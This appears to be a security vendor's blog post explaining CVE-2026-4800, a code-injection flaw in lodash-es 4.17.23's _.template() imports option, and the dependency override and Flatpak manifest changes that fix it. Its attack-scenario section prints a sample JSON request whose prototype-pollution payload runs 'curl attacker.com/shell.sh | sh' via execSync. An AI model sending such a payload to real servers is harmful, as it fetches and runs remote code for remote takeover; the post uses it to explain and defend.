A High-Severity Code Execution Flaw Hidden in Your Lock File
When developers think about arbitrary code execution vulnerabilities, they often picture complex memory corruption bugs or elaborate exploit chains. But CVE-2026-4800 is a stark reminder that a widely-used utility library sitting quietly in your pnpm-lock.yaml can be just as dangerous — and far easier to overlook.
This post walks through exactly what went wrong in lodash-es 4.17.23, how the vulnerability works in practice, and the specific changes made to close the attack surface.
The Vulnerability Explained
lodash's _.template() and the Danger of Function()
Lodash's _.template() function is a powerful tool for compiling string templates into reusable functions. Under the hood, it uses JavaScript's Function() constructor to compile template strings into executable code. This is inherently powerful — and inherently dangerous when the inputs aren't fully controlled.
The critical attack surface in versions up to 4.17.23 is the imports option of _.template(). The imports object is merged into the template's scope, and lodash does not sufficiently sanitize keys or values before passing them into the compiled Function() call. When an application allows any portion of user-controlled data to flow into a template compilation call — whether directly as a template string, as an imports key, or as an interpolated value — an attacker can inject arbitrary JavaScript that executes with the privileges of the Node.js process.
Vulnerable pattern (lodash-es ≤ 4.17.23):
import _ from 'lodash-es';
// Imagine `userInput` comes from an HTTP request body or query param
const compiled = _.template('<%= greeting %>', {
imports: { greeting: userInput }
});
compiled(); // If userInput is crafted, this executes attacker code
The imports option was designed to inject helper functions and values into the template scope. But because lodash-es 4.17.23 does not adequately restrict what can appear in the imports map before handing it to Function(), a malicious value can escape the intended scope and execute arbitrary statements.
A Concrete Attack Scenario
Consider a web application that uses lodash-es to render user-facing notification templates. A route handler reads a template_name or context parameter from a POST body and passes it into _.template() for rendering. An attacker crafts a request with a payload like:
POST /api/notify
Content-Type: application/json
{
"context": {
"msg": "Hello",
"__proto__": { "toString": "process.mainModule.require('child_process').execSync('curl attacker.com/shell.sh | sh')" }
}
}
In vulnerable versions of lodash-es, prototype pollution combined with the template imports handling could allow this to reach the Function() compilation step, resulting in shell command execution on the server. The attacker achieves remote code execution without any authentication bypass — just a crafted JSON body.
Real-world impact for this application: The pnpm-lock.yaml shows lodash-es was pinned at version 4.17.23, meaning any code path in the application that used lodash templates with external input was exposed. The scanner confirmed the package was present in the dependency tree, even if the specific reachability of the vulnerable path was not fully confirmed at time of detection.
The Fix
Three Coordinated Changes
The fix involved two files — package.json and packaging/flatpak/pnpm-sources.json — and the approach is worth understanding in detail.
1. Enforcing the upgrade via pnpm.overrides in package.json
The most important change is the addition of a pnpm.overrides block:
Before (package.json):
{
"engines": {
"node": "^20.19.0 || >=22.12.0"
}
}
After (package.json):
{
"engines": {
"node": "^20.19.0 || >=22.12.0"
},
"pnpm": {
"overrides": {
"lodash-es": "4.18.1"
}
}
}
This is the critical security mechanism. Without this override, even if you update your direct dependency, transitive dependents — packages that depend on lodash-es but are themselves dependencies of your project — could still resolve to the older, vulnerable 4.17.23. The pnpm.overrides field forces every package in the dependency tree to use 4.18.1, closing the vulnerability regardless of which package introduced lodash-es.
2. Updating the Flatpak source manifest
The packaging/flatpak/pnpm-sources.json file is used for offline/sandboxed Flatpak builds. It explicitly pins the tarball URL and checksum for every dependency. Without updating this file, the Flatpak build would continue fetching and bundling the vulnerable version.
Before:
{
"type": "file",
"url": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.23.tgz",
"sha512": "915238f2edcf66bdfc1dd633f7c5267cf9d79760d7ae975cb4bac52c277790ec75c5490e9a914fc7b80259633930f90bfdf0fccdbf8f8744338c616ce3e8475a",
"dest-filename": "lodash-es-4.17.23.tgz",
"dest": "flatpak-node/pnpm-tarballs"
}
After:
{
"type": "file",
"url": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.18.1.tgz",
"sha512": "27cc5ec0a0ff1a4db63996e1a4e552c1cb3ad3385df791120f07b3385b80dffd3df7ddb93dd1c9ece1473531ad6a32f7025664ca40f7d87ca488ca3e048048f0",
"dest-filename": "lodash-es-4.18.1.tgz",
"dest": "flatpak-node/pnpm-tarballs"
}
Note that both the URL and the sha512 checksum are updated. This matters: the checksum verifies integrity of the downloaded tarball, ensuring the build system fetches exactly the patched version and not a tampered or stale artifact.
Why 4.18.1 and Not Just 4.18.0?
The PR title references 4.18.0 as the fix target (matching the CVE advisory), but the actual override pins 4.18.1. This is a common and correct practice — patch releases often follow quickly with additional hardening or minor fixes, and pinning to the latest safe patch reduces the window before the next scan cycle.
Prevention & Best Practices
1. Treat lock files as security artifacts
pnpm-lock.yaml, package-lock.json, and yarn.lock are not just reproducibility tools — they are your ground truth for what code runs in production. Scan them regularly with tools like Trivy, Snyk, or OWASP Dependency-Check.
2. Use package manager overrides for transitive vulnerabilities
When a vulnerability exists in a transitive dependency, a direct version bump may not be enough. Use the appropriate override mechanism:
- pnpm:
pnpm.overridesinpackage.json - npm:
overridesinpackage.json(npm 8.3+) - yarn:
resolutionsinpackage.json
3. Never pass user-controlled data into _.template() imports
Even on patched versions, treat lodash's template engine like eval() — because under the hood, it is. The imports option, interpolation expressions (<%= %>), and escape expressions (<%- %>) should only ever receive trusted, application-controlled values.
// DANGEROUS — never do this
const compiled = _.template(req.body.template, {
imports: req.body.context
});
// SAFE — template string and imports are application-controlled
const compiled = _.template('Hello <%= name %>!', {
imports: { name: sanitize(req.body.name) }
});
4. Update Flatpak and other offline build manifests alongside your lock file
If your project targets multiple distribution formats (Flatpak, AppImage, Docker, etc.), each build system may independently pin dependency versions. A security fix is only complete when all build paths are updated.
5. Reference standards
- CWE-94: Improper Control of Generation of Code — the root classification for this vulnerability class
- OWASP A03:2021 – Injection: Template injection falls squarely in the injection category
- OWASP JavaScript Security Cheat Sheet: Recommends avoiding dynamic code generation from user input
Key Takeaways
pnpm.overridesis essential for transitive dependency security: Simply upgrading a direct dependency is insufficient if lodash-es is also pulled in by other packages in the tree. The override inpackage.jsonensures every resolution uses4.18.1.- lodash
_.template()compiles toFunction()— treat it likeeval(): Any user-controlled data reaching theimportsoption or the template string itself is a code injection vector in vulnerable versions. - Lock file entries are security-relevant: The specific version string
lodash-es-4.17.23inpnpm-lock.yamlwas the exact artifact that Trivy flagged. Keeping lock files up to date is a security practice, not just a reproducibility one. - Offline build manifests (like Flatpak's
pnpm-sources.json) need independent updates: The SHA-512 checksum change from the4.17.23to4.18.1tarball ensures the sandboxed build doesn't silently continue using the vulnerable package. - Static scanners can catch this before exploitation: Trivy identified this vulnerability from the lock file alone — no runtime analysis required. Integrating dependency scanning into CI/CD pipelines catches these issues at merge time.
How Orbis AppSec Detected This
- Source: The
lodash-espackage version4.17.23declared inpnpm-lock.yaml, which is resolvable to user-influenced template compilation paths in the application runtime. - Sink: lodash-es's internal
_.template()function, which invokes theFunction()constructor with attacker-reachable input when theimportsoption is not sanitized. - Missing control: No version constraint or pnpm override was present to prevent resolution of the vulnerable
4.17.23release; theimportsoption lacked input sanitization in the library itself. - CWE: CWE-94 — Improper Control of Generation of Code (Code Injection)
- Fix: Added
pnpm.overridesinpackage.jsonto force all dependency resolutions to lodash-es4.18.1and updated the Flatpak source manifest with the new tarball URL and SHA-512 checksum.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-4800 is a high-severity arbitrary code execution vulnerability that lived silently in a lock file entry — lodash-es-4.17.23 — until a scanner caught it. The fix is precise and multi-layered: a pnpm.overrides entry ensures no package in the dependency tree can resolve the vulnerable version, and an updated Flatpak manifest closes the same gap for offline builds. Both changes together mean the patched version is enforced across every build path.
The broader lesson is that security in JavaScript projects isn't just about the code you write — it's about every version string in your lock file and every build manifest that references a tarball. Treat them as security artifacts, scan them continuously, and use your package manager's override mechanisms aggressively when vulnerabilities are found in transitive dependencies.